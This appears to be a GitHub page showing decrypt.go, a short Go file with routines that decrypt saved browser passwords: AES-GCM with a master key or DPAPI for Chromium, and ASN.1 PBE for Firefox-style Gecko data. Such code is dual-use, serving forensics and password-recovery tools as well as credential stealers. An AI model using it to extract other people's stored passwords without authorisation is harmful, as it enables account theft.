-
Notifications
You must be signed in to change notification settings - Fork 18
/
decrypt.go
43 lines (37 loc) · 804 Bytes
/
decrypt.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
package browsers
import (
"crypto/aes"
"crypto/cipher"
"errors"
)
func (c *Chromium) Decrypt(encryptPass []byte) ([]byte, error) {
if len(c.MasterKey) == 0 {
return DPAPI(encryptPass)
}
if len(encryptPass) < 15 {
return nil, errors.New("empty password")
}
crypted := encryptPass[15:]
nounce := encryptPass[3:15]
block, err := aes.NewCipher(c.MasterKey)
if err != nil {
return nil, err
}
blockMode, err := cipher.NewGCM(block)
if err != nil {
return nil, err
}
origData, err := blockMode.Open(nil, nounce, crypted, nil)
if err != nil {
return nil, err
}
return origData, nil
}
func (g *Gecko) Decrypt(encryptPass []byte) ([]byte, error) {
PBE, err := NewASN1PBE(encryptPass)
if err != nil {
return nil, err
}
var key []byte
return PBE.Decrypt(g.MasterKey, key)
}